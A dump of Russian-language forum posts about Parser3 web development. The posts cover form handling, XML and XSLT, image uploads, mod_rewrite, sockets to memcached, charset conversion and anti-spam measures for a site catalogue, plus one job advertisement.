"54728","вы даже можете [url=\"/download/forum/\"]скачать[/url] sql-архив форума."
"54731","Немного не про парсер, прошу прощения, но подcкажите, пожалуйста, возможно ли такое сделать. \
Есть форма. Есть кнопка Submit. В форме в action прописан другой html. Надо чтобы при сабмите формы этот html открывался в окне нужного размера, без тулбара и т.д. \
Как открывать его по обычной ссылке понимаю. А вот чтобы по сабмиту формы.. Подскажите, пожалуйста где я туплю."
"54732","По моему, это задача для JavaScript: [url=\"http://cgi.myweb.ru/\"]http://cgi.myweb.ru/[/url].\
\
конкретно, вам нужно в форме прописать событие [b]OnSubmit[/b] (если я не ошибаюсь) и по нему открывать новое окно с заданными параметрами URL.\
\
Посмотрите на [url=\"http://cgi.myweb.ru/catalog.phtml?ca_id=138&cp_level=2&lang=\"]http://cgi.myweb.ru/catalog.phtml?ca_id=138&cp_level=2&lang=[/url]"
"54733","а я бы в таблице, где хранятся все странички просто добавил бы столб show_in_sitemap, и просто присваивал бы значения 0 или 1...\
Но я только начал со всей этой динамикой на сайтах разбираться, но что-то подсказывает, что я правильно мыслю :)"
"54734","В первой описываете пока единственную группу site_map, а во второй просто связываете page_groups и pages (как у вас во втором варианте для site_map, только с двумя полями: page_id и page_group_id).\
\
Чем хорошо? Тем, что если завтра вы захотите выводить на какой-нить странице, допустим, ссылки не на все страницы, то ничего кроме новых записей в табличках, вам не потребуется. Никаких новых полей ли табличек show_on_sitemap, show_on_mainpage etc."
"54735","Столкнулся с такой проблемой:\
\
получаю через XML курс валюты:\
\
[code]\
<Valute ID=\"R01235\">\
	<NumCode>840</NumCode>\
	<CharCode>USD</CharCode>\
	<Nominal>1</Nominal>\
	<Name>Доллар США</Name>\
	<Value>26,8718</Value>\
</Valute>\
[/code]\
\
[code]\
$usd[^xdoc.selectSingle[/ValCurs/Valute[CharCode='USD']]]\
^usd.selectString[string(Value)]\
[/code]\
\
Это выводит: 26,8718\
\
Подскажите синтаксис как ПРАВИЛЬНО и с наименьшим использованием кода вывести значение: 26,87 ( естественно правильно его округлив )."
"54737","Попробовал парсер с поддержкой сокетов - всё работает классно.\
Возник вопрос - а реально ли его с серверами ICQ соединить? Информацию по протоколам в инете есть, но какая-то старая, до 2003 года..\
и опять же обмен данными идет не в текстовом виде, а в хитром, двоичном...\
Как считаете, вообще есть смысл что-то пытаться начинать делать?"
"54738","ICQ постоянно меняет обмен данными.\
Если хотите чего-то вменяемого: [url=\"http://www.google.com/talk/developer.html\"]http://www.google.com/talk/developer.html[/url]"
"54739","вы уже выяснили, где тут сервер, а где клиент?"
"54740","Да я смотрю там тоже всё через SSL работает, это тоже значит далеко не plain-text...\
ну ладно.. вообще хотелось реализовать какой-то механизм обратной связи но с мгновенной доставкой... Отправлять письмо с сайта не всегда бывает удобно и быстро. А тут бы раз - случилось что-то и через секунду ты уже знаешь об этом."
"54742","Пишите свой на c# либо используйте гугловский API"
"54743","Пытаюсь сохранить несколько изображений. Использую класс [url=\"http://www.spearance.ru/parser3/pictures/source/\"]images.p[/url].\
\
Если я пишу в тэге [b]form[/b] enctype=\"multipart/form-data\", то ничего не происходит, а если не пишу, то ошибка. Вопрос: почему ничего не происходит?\
\
[code]\
<form method=\"POST\" enctype=\"multipart/form-data\" action=\"$request:uri\"> \
	<div><input type=\"file\" name=\"pict\" style=\"width:100%\" size=\"50\" /></div> \
	<div><input type=\"file\" name=\"pict\" style=\"width:100%\" size=\"50\" /></div> \
	<input type=\"submit\" name=\"save\" value=\"Сохранить\"> \
</form>\
\
^if(def $form:save){\
	$imgs[$form:tables.pict]\
	$source_path[/i/big/]\
	$destination_path[/i/small/]\
	$user_format[jpg]\
	^if($imgs){\
		^imgs.menu{\
			$name[^math:uid64[]]\
			$extension[^file:justext[$imgs.field]]\
			$image_name[${name}.$extension]\
			^if($extension ne $user_format){$format[$user_format]}\
			^if(!^images:save[$form:pict;$source_path;$image_name;$format]){\
				^if(^extension.lower[] ne ^user_format.lower[]){\
					$image_name[${image_name}.$format]\
				}\
				$status[^images:resize[\
					$.source_path[$source_path]\
					$.destination_path[$destination_path]\
					$.image_name[$image_name]\
					$.x_size(100)\
					$.quality[80]\
				]]\
				^if(!$status){\
					^rem{ *** Всё ок *** }\
				}{\
					^rem{ *** Возникла ошибка *** }\
					$status\
				}\
			}\
		}\
	}\
}\
[/code]"
"54744","Есть задача...как реализовать ее впринципе я знаю...хотелось бы услышать комментарии как их реализовать правильнее :)\
\
Чат.\
\
Хотелось бы, чтобы постоянные обнавления окна сообщений не сильно грузили сервер. Так как если пользователей хотябы 20...и страница сообщений обнавляется раз в 5 сек у всех, то в среднем, из базы кушать данные будут 4 раза в секунду...А хватило бы вполне и 1 раза...\
\
Как бы этот момент поправильнее сделать...не придумывая велосипед..."
"54745","Во-первых, у вас двум элементам формы присвоено одно и тоже имя name=\"pict\", сделайте хотябы pict1 и pict2.\
Во-вторых, а вы уверены, что сам images.p настроен и работает? ImageMagick или nconvert нормально настроены и работают?"
"54747","при попытке запустить файл http://127.0.0.1/cgi-bin/server.cgi вылетает ошибка:\
OK\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
в логах следующее:\
[Sun Jul 30 15:29:10 2006] [error] The getpwuid function is unimplemented at c:/apache_swissknife/\\xf1\\xe0\\xe9\\xf2\\xfb/localhost01/cgi-bin/server.cgi line 81.\\n"
"54748","Элементам присвоено одно и то же имя сознательно, т.к. получаю их через $form:tables. Дело в том, что этих полей может быть сколько угодно и изначально не известно сколько. Т.е. будет pictN полей, как тогда написать код для их сохранения?\
Насчет второго. До images.p и nconvert дело даже не доходит. Т.е. код ^imgs.menu{...} не выполняется.  Хотя таблица $imgs существует. Повторюсь, что если нет enctype=\"multipart/form-data\", то ^imgs.menu выполняться будет. А images.p и nconvert работают."
"54752","http://www.perl.com/doc/FAQs/nt/perlwin32faq5.html\
\
Поищите по форумам поддержки, что и где нужно поправить, чтобы работало и под Windows."
"54755","Помогите пожайлуста.\
Есть строка [b]www.main.ru/main/[/b] нужно что бы осталось строка [b]www.main.ru[/b]"
"54756","может просто \
[code]$str[^str.mid(0;^str.pos[/]-1)][/code]\
ну или\
[code]$parts[^str.split[/;h]] \
$parts.0 [/code]\
:)"
"54757","Если $options - строка, то всё работает хорошо, но если попытаться передать хэш объектов (подозреваю что и экземпляры объектов сами), то всё валится. Скорее всего перед выполнением ^process пытается подставить значения своих переменных (текстовых) натыкается на передаваемый хэш и валится. Есть возможность обойти это ограничение?\
\
[code]\
@init[]\
$self.manager[^application_manager::init[]]\
$self.page_apps[^manager.get_page_applications[]]\
\
@build[]\
   $result[^page_apps.menu{\
#   		^page_apps.count[]\
# options are in xml\
			$options[^manager.get_application_options[$page_apps.pid]]\
\
   		$application[\
   		   $.run{\
       			^use[${page_apps.name}.p]        	\
       			^$app[^^${page_apps.name}::init[$options]]\
       			^^app.run[]\
   			}\
   		]\
\
   		^process[$builder:CLASS]{$application.run}\
	  	}\
   ]	\
\
[/code]\
\
p.s. ребят, а как восстановить свой пароль? :)))"
"54759","Возможно, что я проявлю невежество задав этот вопрос, но понять самому, в чем проблема, мне не удалось. Обычное преобразование:\
[code]\
$_authForm[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\" ?> \
<form>\
<login>Имя</login>\
<password>Пароль</password>\
</form>}] \
$_authForm[^_authForm.transform[/administration/xsl/auth.xsl]] \
^_authForm.string[$.method[html]]\
[/code]\
XSL:\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\" ?>  \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"form\">\
	<form method=\"get\" action=\"/\">\
		<xsl:value-of select=\"login\" />\
		<input type=\"text\" id=\"login\" /><br />\
		<xsl:value-of select=\"password\" />\
		<input type=\"password\" id=\"password\" />		\
	</form>\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
На выходе получаю:\
[code]\
<form method=\"get\" action=\"/\">\
Имя<input type=\"text\" id=\"login\"><br>\
Пароль<input type=\"password\" id=\"password\"><br>\
<input type=\"button\" value=\"Войти\" id=\"submit\">\
</form>\
[/code]\
Вопрос: куда делись \"/>\" у тэгов [i]br[/i] и [i]input[/i]?"
"54761","<xsl:output method=\"xml\"/>\
\
посмотрите параметры преобразования"
"54763","собирать страницу из объектов или сделать объекты для каждой страницы?\
\
первое решение - гибкое. Второе - простое..."
"54766","Так если через OnSubmit скриптом открывать новое окно, в него не передадутся данные формы."
"54767","День добрый!\
Чувствую себя не в своей тарелке, т.к. с Парсером работаю недавно, вроде основные ошибки всегда получалось править самому, а тут я просто-таки застопорился... Прошу ногами не бить, форум читал, доки смотрел, недогоняю :(\
\
Итак. Есть следующее условие:\
[code]\
^if(^session:check[$module_id;$session_id;$form_valid_time] eq true){\
..какие-то действия\
}\
[/code]\
\
Метод \"check\" класса \"session\" должен возвращать либо $result[true], либо $result[false].\
\
До переустановки локальной системы (а проблема возникает только на локальном компьютере, на сервере порядок), был установлен Парсер, версия которого для меня неизвестна (остались только логи, датированые от января 2005 года). Сейчас я сам установил последнюю на данный момент версию и у меня данный код вызывает ошибку. Если я заменяю eq true на eq \"true\", то код работает...\
\
Подскажите, как тут быть... Судя по всему код был написан под старый Парсер и сейчас многое изменилось... На сервере у нас установлен Парсер той же старой версии, поэтому там все работает. Как тут быть? Забить на новую версию и поставить старую или отслеживать работу скрипта под новую версию Парсера?\
\
P.S. Если, конечно, проблема в версии Парсера, а не в моем ДНК :)"
"54768","от многих условий зависит, и следует чему-то отдать предпочтение"
"54769","с версии 3.1.5 true и false - логические литералы.\
\
как решать возникшую проблему решать вам, однако лично я всегда сравнения со строками пишу так: ^if(нечто eq \"строка\"){...}\
\
считаю что лучший вариант все таки подправить ваш код (глобальный поиск и замене рулят, при этом $result[true] и $result[false] править не нужно. хотя если вдруг захотите сделать совсем красиво, можно заменить их на $result(true) и $result(false) и в проверке убрать \"eq true\": ^if(^session:check[$module_id;$session_id;$form_valid_time]){...}), т.к. в новых версиях парсера появляются таки нововведения и оптимизации."
"54771","Тут еще беда в том, что все скрипты были написаны не мною...\
Эх, ладно, буду думать :)\
Спасибо за разъяснения!\
\
P.S. А старая версия парсера поймет строку if(... eq \"true\")? Эксперементировать на живом сервере не хочется :)"
"54773","Нужна помощь.\
                                                                            \
[b]1.Файл .cfg[/b]\
section_is    name	 uri\
1	    Новости      /\
2	    История      /history/\
3	    Фан-лига     /fanleague/\
\
[b]2.auto.p[/b]\
@menunav[]\
$sections[^table::load[/menu.cfg]] \
<table width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" align=\"middle\" class=\"menuFirst\"> \
<tr class=\"menuSecond\">\
      ^sections.menu{ \
      ^navigation_cellmenu[] \
   }\
</tr>\
</table>\
<br>\
\
\
@navigation_cellmenu[] \
$cell_width[^eval(100\\$sections)%] \
\
^if($sections.uri eq $request:uri){\
           \
  <td width=\"$cell_width\" align=\"middle\" class=\"красим столбец в зеленый цвет и ссылку не ставим\">  \
  <nobr>$sections.name</nobr> \
  </td>\
      \
}{         \
   ^if(in \"$sections.uri\"){\
  <td width=\"$cell_width\" align=\"middle\" class=\"красим столбец в зеленый цвет ,но ссылку  ставим\">  \
  <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
  </td>\
    }{\
       \
  <td width=\"$cell_width\" align=\"middle\" class=\"столбец не красим и ссылку ставим\">  \
  <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td>\
     }       \
 }\
\
, но у меня когда выбираешь раздел ИСТОРИЯ или ФАН-ЛИГА,  раздел НОВОСТИ  остается закрашеным в зеленный цвет хотя он не выбран. Почему?\
\
Хочу сделать горизонтальное меню, принцип работы как на этом сайте.\
Допустим  идем в раздел ФОРУМ столбец на горизонтальном меню закрашивается в другой цвет \
и ссылка исчезает, если начинаем перебирать ссылки в  разделе ФОРУМ столбец на горизонтальном меню остается закрашенным , но уже \
появляется ссылка на раздел ФОРУМ.\
\
Помогите пожайлуста."
"54775","Дак я и так из примера сделал. Просто там логика немножка другая, а у меня еще есть подразделы и когда эти самые подразделы выбираешь нужно что бы ячейка в горизонтальном меню оставалась закрашеной цветом , а текст становился ссылкой, как на этом сайте, [b]например раздел FAQ[/b]. \
P.S. В PARSERE я новичок."
"54776","Дак я и так из примера сделал. Просто там логика немножка другая, а у меня еще есть подразделы и когда эти самые подразделы выбираешь нужно что бы ячейка в горизонтальном меню оставалась закрашеной цветом , а текст становился ссылкой, как на этом сайте, например раздел FAQ. \
P.S. В PARSER я новичок."
"54777","и поменяйте соответственно файл *.cfg. Посмотрите, что получится.\
\
То, что вы увидите - пример поведения оператора \"in\".\
\
Например, вы перешли в раздел /history/. Парсер пробегает по строчкам вашего cfg-файла и сверяет текущий каталог с записанным в каждой строке. Мы сейчас \"in\" папке hostory? Да - закрашиваем. Мы в то же самое время находимся внутри корневого каталога, \"/\"? Да - поэтому закрашиваем и его."
"54779","label -> table_name.label"
"54780","Это я оставил на крайний случай, а можно именно с такой структурой *.cfg сделать задуманное."
"54781","У меня есть каталог интернет сайтов нашего города, и как водится есть форма добавления новых ресурсов.\
Тематикой каталога сделано ограничение на сайты связанные с Тюменью и областью, однако это не останавливает спамеров, постят все, и Москва и Питер и т.д.\
\
Сначала думал что это роботы, поставил проверку картинкой, это конечно снизило процент пополнения, но не сильно.\
Сделал Black-лист, в который заношу все сайты, которые присылали, и которые не связаны с нашим городом.\
Само-собой прикрутил Мишин антифлуд.\
\
Вопрос, что ещё можно сделать, чтоб хоть как-то снизить число присылаемых ссылок?"
"54782","Можно придумать ряд специфических для города вопросов (как называется кинотеатр на ул. X? фамилия мэра города? etc.)\
\
Тесты с картинками бессильны против людей, тупо вбивающих объявления по 2 доллара за час работы. Надо только понимать, что люди, соглашающиеся на такую работу - тупые. Нетривиальный подход их вводит в ступор.\
\
Можно поступить, как Миша - раздать микромодераторские полномочия группе сознательных товарищей. \
\
Можно прикрутить к каждой карточке каталога \"сообщить о спаме\".\
\
В конце концов, можно премодерировать..."
"54783","премодерирование есть, но в этом то и проблема, приходится каждый день искать 1 сайт из сотни... это сильно раздражает."
"54784","подскажите что я не так делаю:\
\
[i]Код[/i]\
\
$q[\
^for[i](1;10){\
   ^^from.match[^^172\\.17\\.$i]\
}[ || ]\
]\
^if(^process($q)){\
...\
}\
\
[i]ошибка[/i]\
process\
-body of process-(3:28): syntax error, unexpected ']', expecting '[' or '{' or '('"
"54786","А как вы ищите этот 1 сайт из сотни?"
"54787","Приходится кликать почти на каждый и смотреть контент, в основном по номеру контактных телефонов определяю."
"54788","А почему бы не сделать в момент добавления ссылки запрос по ней - если на странице есть буквосочетание \"тюмен\", последовательность цифр, совпадающая с кодом города или окрестных областных центров - добавлять без вопросов, если нет - помучить человека.\
\
Ещё можно проверять IP добавляющего на принадлежность к subnet'ам основных местных провайдеров."
"54790","Our client, an international energy company, is currently looking for Web Master&Consultant.\
\
We recruit for the world-class project which is devoted to commercially development, operation and marketing the hydrocarbon and petroleum resources at the Far East.\
\
The first interview with candidates takes place in Saint-Petersburg; the second one – in Moscow/at the Far East (transfer is paid by company).\
\
Requirements:\
•	Higher Technical education in Computing or Information/Knowledge Management or equivalent.\
•	3+ years of experience with Web development, Website maintenance and support,with the following Web technologies: HTML, JavaScript, ASP/ASP.NET\
•	Good working knowledge of Microsoft FrontPage, Adobe Photoshop\
•	Can work independently with minimal supervision.\
•	Ability to communicate effectively with all levels in the organization and with external parties.\
•	Good analytical skills.\
•	Proven ability to meet set deadlines.\
•	Good English language skills.\
\
Responsibilities:\
•	Administer and coordinate intranet environment, including access control, content management and conformance to standards.\
•	Control, support and maintain  dynamic web environment.\
•	Assist  departments in organisation of effective intranet communication.\
•	Provide consultancy for dynamic web and business communications environments.\
•	Provide consultancy for general Web and Web publishing issues.\
•	Coordinate the group of  Web Focal Points and provide training and assistance.\
•	Develop standards, documentation and training courses for  intranet.\
\
Research, recommend, and implement new approaches to information organisation and publishing on the company’s Intranet.\
\
Salary and compensation package\
- Competitive Salary ($2300)\
- 2 months salaries (including northern rate and uplift) as start-up bonus;\
- 44 calendar days as annual vacation\
- 7 calendar days for settlement to the Far East\
- Medical insurance for company employee and his family\
- Company will provide an apartment, which is in good condition and furnished in accordance with company policy."
"54791","если вы зайдёте на http://www.parser.ru/forum/register.html и снимете галочку \"Скрывать email\", чтобы кандидаты знали, куда им писать..."
"54792","самое тупое решение в лоб (которое лучше вашего):\
[code]^if(^from.match[^^172\\.17\\.(\\d|10)]){\
...\
}[/code]"
"54795","Поискал по форуму, почитал Apache, но все равно остался 1 вопрос:\
[code]RewriteEngine	on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^([a-zA-z_]+)([\\/]?)$	/?lvl=$1	[QSA,L][/code]\
Вот такой у меня мод рирайт. соответственно он выдает строку типа http://darts.damain.ru/?lvl=darts&site=2\
Вопрос вот в чем: каким должен быть RewriteRule чтобы строка была http://darts.damain.ru/darts/2/ но все еще можно было бы спросить def $form:lvl && def $form:site ???"
"54796","После срабатывания rewrite'а, у вас урл прежний, в реале - заданный.\
То бишь, при http://darts.damain.ru/darts/2/ поля $form:lvl и $form:site будут доступны.\
В этом весь смысл."
"54797","ага, понял, а как выглядит RewriteRule то в таком случае?"
"54800","Если у меня такое условие как ты написал, то строка получается такая: http://darts.damain.ru/?lvl=darts&site=2 а мне надо http://darts.damain.ru/darts/2/"
"54801","Ставите rewrite, который я показал, заходите по http://darts.damain.ru/darts/2/ и получаете $form:lvl = darts и $form:site = 2. Разве не это Вам нужно? Разберитесь с modRewrite получше."
"54802","дело в том, что любая ссылка выдает такой вариант: http://darts.damain.ru/?lvl=darts&site=2 а http://darts.damain.ru/darts/2/ - выдает 404\
\
цитирую:\
[code]AddHandler parsed-html html \
Action parsed-html /cgi/parser3.cgi\
\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all\
</Files> \
\
RewriteEngine	on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^([a-zA-Z_]+)(\\/?)([\\d]?)(\\/?)$	/?lvl=$1&site=$3	[QSA,L][/code]\
\
кликните на ссылку и убедитесь сами!"
"54804","[quote]\
'qsappend|QSA' (добавлять строку запроса)\
Этот флаг указывает механизму преобразований на добавление а не замену, строки запроса из URL к существующей, в строке подстановки. Используйте это когда вы хотите добавлять дополнительные данные в  строку запроса с помощью директив преобразований.\
[/quote]"
"54805","теперь все функционирует кроме gallery, хотя все ссылки выводятся одинаково...\
[code]			<table width=\"410\" height=\"53\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
					 <tr>\
						^connect[$connect_string]{\
							$menuload[^table::sql{SELECT * FROM menu}]\
							^if($menuload){  \
							^menuload.sort{$menuload.id}[asc]\
							^menuload.menu{\
								<td width=\"68\" height=\"53\">\
									^if($menuload.uri eq $form:lvl){\
										$photo[^image::measure[/i/l/^img[].gif]]\
										^photo.html[]\
									}{\
										<a href=\"/$menuload.uri/\">$photo[^image::measure[/i/l/^img[].gif]] ^photo.html[]</a>\
									}\
\
								</td>\
								}\
							}{Some problems with menu - contact administrator...}\
						}\
  					</tr>\
				</table>[/code]"
"54807","[code] <script>\
function adcom(sublink) {\
if(document.getElementById(sublink).style.visibility == 'hidden')\
document.getElementById(sublink).style.visibility = 'visible';\
else\
document.getElementById(sublink).style.visibility = 'hidden';\
}\
</script> $gal[^table::sql{SELECT * from gallery}]\
^if($gal){\
^gal.sort{id}[asc]\
<div style=\"position:relative^; \"><table border=\"0\" color=\"black\" cellspacing=\"3\" cellpadding=\"3\">\
<tr>^gal.menu{<td width=\"200\" >\
<a href=\"$gal.pic\" target=\"_blank\"><img src=\"$gal.thumb\" alt=\"$gal.alt\"></a>\
<br><a href=\"/classes/adcomment.html?$gal.id\" onClick=\"adcom('adcomment')\" target=\"ad\">Leave a Comment</a>\
<br>\
$num[^table::sql{Select * from galcom where parent='$gal.id'}]\
$qua[^num.count[]]\
^if($qua > 0){\
<a href=\"/classes/comments.html?$gal.id\" onClick=\"adcom('comments')\" target=\"com\">^num.count[] Comments</a>}{^num.count[] Comments}\
</td>}{^if(!(^gal.offset[]%3)){</tr><tr>}\
^memory:compact[]\
}</tr></table></div>}{We are sorry, but the Gallery is empty at the present moment!}\
<div id=\"adcomment\" style=\"position:absolute; top:50px; left:-100px; visibility:hidden; height:500; width:650\">\
<iframe name=\"ad\" src=\"/classes/adcomment.html\" height=\"500\" width=\"650\" frameborder=\"0\" allowtransparency=\"yes\"></iframe>\
</div>\
<div id=\"comments\" style=\"position:absolute; top:50px; left:-100px; visibility:hidden; height:500; width:650\">\
<iframe name=\"com\" src=\"/classes/comments.html\" height=\"500\" width=\"650\" frameborder=\"0\" allowtransparency=\"yes\"></iframe>\
</div>[/code]вот что касается галлереи - там ваще ничо не обращается к строке, а везде только один обработчик строки! тема в том что ссылка дается правильно, но бравзер ее не так интерпретирует... а где этот кусок кода...???"
"54809","правда есть ишо одно обращение- 3 картинки внизу:\
[code]		^connect[$connect_string]{\
			$rand[^table::sql{SELECT * FROM gallery}]\
			^rand.sort{$rand.id}[desc]\
			^if($rand && ($form:lvl ne 'gallery')){\
<div style=\"position:relative^; margin-top:-170px^; margin-left:350px^; z-index:4^;\">\
			  <tr>\
				<td valign=\"bottom\" height=\"100%\">\
			<!--Random Art-->\
						<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" >\
							<tr>\
								<td >\
									<u>&nbsp^;&nbsp^;&nbsp^;Latest Artwork</u><br>\
									$3[^table::create[$rand;\
										$.limit(3)\
										]\
									]\
									^3.menu{\
										$im[^image::measure[$3.thumb]]\
										<a href=\"$3.pic\" target=\"_blank\">\
											^im.html[\
												$.alt[$3.alt]\
												$.border[1]\
											]\
										</a>\
									}[ ]\
								</td>\
							</tr>\
						</table>\
</div>\
				}\
			  }\
[/code]"
"54810","Kороче оказалось что была папка в корне /gallery все она мутила!"
"54811","Есть python скрипт которые открывает сокет, соединяется с 127.0.0.1:11211, посылает строку, принимает строку, закрывает сокет.\
\
После выполнения netstat -n показывает\
[quote]tcp4       0      0  127.0.0.1.55399        127.0.0.1.11211        TIME_WAIT[/quote] которое через net.inet.tcp.msl секунд отваливается\
\
Написал аналогичный parser скрипт\
[quote]www# cat test.ps\
$sock[^socket::create[127.0.0.1](11211;5)]\
^if($sock){\
    YES :(\
    $sock.line[version]\
    \"${sock.line}\"\
    $sock.line[quit]\
#    ^sock.close[]\
\
}{\
    NO :(\
}\
[/quote]\
\
После выполнения \
\
[quote]tcp4       0      0  127.0.0.1.11211        127.0.0.1.61381        FIN_WAIT_2\
tcp4       0      0  127.0.0.1.61381        127.0.0.1.11211        CLOSE_WAIT[/quote]\
или что ещё интереснее \
[quote]\
tcp4       0      0  127.0.0.1.11211        127.0.0.1.61376        ESTABLISHED\
tcp4      0      0  127.0.0.1.61376        127.0.0.1.11211        ESTABLISHED[/quote]\
причем изчезая примерно через 1-2 часа.\
\
Чья ошибка?\
10-16 запусков test.ps дают 1 устойчивое UE - возникает ESTABLISHED.\
Опробован вариант как с cgi, так и с apache 1.3 модулем; как с \
[quote]\
^sock.close[][/quote] так и без него :("
"54812","проверьте, что не так:\
\
[code]@CLASS\
test\
\
@create[]\
\
@A[]\
# по-идее, добавляет одну запись в таблицу test\
^connect[$MAIN:sql]{\
	^void:sql{\
		INSERT INTO test SET value = 'A'\
	}\
}\
\
# по-идее, добавляет две записи в таблицу test (не ясно, правда, почему)\
@B[]\
^connect[$MAIN:sql]{\
	^A[]\
}\
\
# по-идее, количество добавляемых записей зависит от флага\
@C[flag]\
^if(def $flag){\
# одна запись, если флаг поднят\
	^A[]\
}{\
# две записи, если флаг опущен\
	^B[]\
}\
\
# на деле не зависимо от флага добавляются две записи[/code]"
"54814","в .htaccess:\
\
RewriteEngine on\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^(.*)$ /index.html?document=/$1 [L,QSA]\
\
в index.html:\
\
[code]@nothing[]\
nothing[/code]\
\
в auto.p:\
\
[code]@USE\
/classes/test.p\
\
@auto[]\
$sql[mysql://root:@localhost/test]\
\
@main[]\
$t[^test::create[]]\
^t.C[][/code]"
"54820","2 дня назад пробовал. Визажал от восторга. Хэш передавался. Но тот код был написан, что называется \"на будущее\" и сегодня пришло время  им пользоваться итак:\
\
[code]\
\
@build[hApplications]\
	$aaa[\
		$.test[test]\
	]\
\
   $result[\
   ^hApplications.foreach[pid;hApplication]{\
   		$application[\
   		   $.run{\
       			^use[${hApplication.name}.p]        	\
#       		^$app[^^${hApplication.name}::init[^$hParams]]\
       			^$app[^^$hApplication.name^:^:init[^$aaa]]\
       			^^app.run[]\
   			}\
   		]\
\
   		^process[$builder:CLASS]{$application.run}\
		}\
   ]	\
[/code]\
\
тут всё работает вроде ок, но параметр не передаёт.\
Пример вызываемого класса\
\
@init[aaa]\
^if(def $aaa){\
#  ^BASE:init[$aaa]\
  $self.test[$aaa]\
}{\
	^throw[news.init!; ^$aaa is not defined!!!]\
}"
"54821","Тогда бы можно было отсеять легко."
"54822","у нас не больше 5 сайтов в неделю делают."
"54823","вы создали строку из букв (не код, а именно строку): '$app[^что-то::init[$aaa]]'\
\
после этого процессите данную строку в контексте $builder:CLASS, т.е. $aaa берется из $builder:CLASS. она у вас там есть?\
\
как вариант вы можете создать вашу $aaa в MAIN и в передаче использовать init[$MAIN:aaa], однако поверьте - вы пошли совсем неправильной тропой. срочно меняйте траву.\
\
process + параметры - никто не поймет что вы хотели сделать вашим кодом (даже вы сами через пару недель). это худшее из того, что может быть."
"54824","отпускает потихоньку: буду делать через фабрику  - так оно понятнее будет."
"54825","никогда не пробовал но может кто знает:\
\
в xslt-процессорах (например Saxon) есть возможность передачи функции  параметром в шаблон, парсер может принимать параметрами свои функции?\
\
(если честно не знаю зачем такое в парсере можно использовать, просто интересно..)\
\
З.ы.  опять не та трава? :))"
"54826","а что висит на другом конце канала? (т.е. к какому демону коннект идет)\
сейчас попробую повторить..."
"54828","а то мало ли? Может, кто-то название кинотеатра напишет в кавычках, и оно не совпадёт, и т.п. ..."
"54829","единственное отличие - memcached стоял на другой машине\
запустил тест (в точности как вы привели, без close) раз 40, наблюдалось только нормальное поведение - TIME_WAIT и отваливается по тайм-ауту, как и должно быть\
\
какая у вас система и какие версии всего участвующего?\
проверялось: парсер с сокетами на FreeBSD 6.1-RELEASE\
memcached 1.1.12(из портов) на FreeBSD 5.2.1-RELEASE-p14\
\
update: на другой машине - FreeBSD 6.1 + parser + memcached 1.1.12 тоже все нормально"
"54830","есть в парсерные методы - то запросто:\
\
[code]@main[]\
^method1[$method2]\
\
@method1[jCode]\
^jCode[]\
\
@method2[]\
Hello world![/code]\
\
если речь о чем другом, то может [url=\"/docs/lang/xdocparserprot.htm\"]это[/url] поможет?"
"54831","то - естественно :)))\
 \
в saxon+java+javascript можно примерно так:\
\
[code]\
myFunciton(){\
  // code\
}\
\
args[\"my_new_xslt_function\"] = myFunction\
transform(args)\
[/code]\
\
потом в xslt-шке  функцию можно получить и пользоваться. примерно так:\
\
[code]\
<xsl:param name=\"my_super_mega_function\">\
\
<xsl:template ...>\
   <xsl:variable name=\"result\" select=\"js:call(my_super_mega..)\"/>\
</xsl:template>\
[/code]\
\
в парсере так можно передавать параметры, а функции?"
"54835","спасибо за ссылки - очень интересно"
"54836","Поддерживаеться ли?"
"54837","да:\
1. ПАФ он них упомянул на парсерном форуме\
2. на вид там обычный xsl (на первый взгляд никаких xpath2 нету)\
3. The extension elements and functions defined within this document are governed by the general rules about extensions to XSLT covered in [14. Extensions] in [XSLT 1.0]."
"54838","А какие модули доступны"
"54839","Отправлять sms себе на номер. Конечно, при наличии мобильника и возможность, предоставленная оператором, отправлять sms через почтовый ящик. У Биллайна и МегаФона точно такое есть, у МТС, кажется, нет.\
\
P.S. http://www.napishi.ru"
"54840","Вообщем-то дело было так, написал я движок (писал на Лине отсюда вывод что кодировк всех файлов [b]koi8-r[/b]), положи его на хостинг и вроде-бы всё было нормально, но вот хостеры заявили требования разместить блок текстовых ссылок, дали php код, ну я не долго думая написал код на Parser'е который по сути делает тоже самое:\
[code]\
$1[^file::load[binary;http://addr.ru/linkex/linkex.php?host=platypuscms.org&url=/index.html;$.timeout(40)\
]]\
^1.save[text;/eb.txt]\
$text_rekl[^file::load[text;/eb.txt]]\
^untaint{$text_rekl.text} \
[/code]\
Вот всё бы оно хорошо, но текст который я получаю в итоге работы этого кода, получаеться в кодировке [b]CP-1251 (windows-1251)[/b]И при выводе на страницу выводиться соответственно абракадабра, вместо ссылок! Так вот вопрос как мне перекодировать сохранённый файл( [code]^1.save[text;/eb.txt][/code] ) в [b]koi8-r[/b]?"
"54842","нужно в запрос добавить один параметр:\
[code]$1[^file::load[binary;http://addr.ru/linkex/linkex.php?host=platypuscms.org&url=/index.html;$.charset[windows-1251] $.timeout(40)\
]][/code]"
"54844","Спасибо. Но этот вариант я пробывал! Так же я пробовал в главном auto.p играть с кодировками в переменны $request:charset и $response:charset! Тоже бесполезно! Что наз-ся как ни крутись а жопа сзади!"
"54846","[code]$f[^file::load[text;http://addr.ru/linkex/linkex.php?host=platypuscms.org&url=/index.html;\
	$.charset[windows-1251]\
	$.timeout(40)\
]][/code]"
"54847","Михаил, если делать так как вы сказали, то происходит такая ошибка:\
\
[b].WIN-1251[/b]\
unknown charset\
\
/var/www/vhosts/platypuscms.org/httpdocs/1.html(2:12)\
load	/var/www/vhosts/platypuscms.org/httpdocs/1.html(2:12)\
\
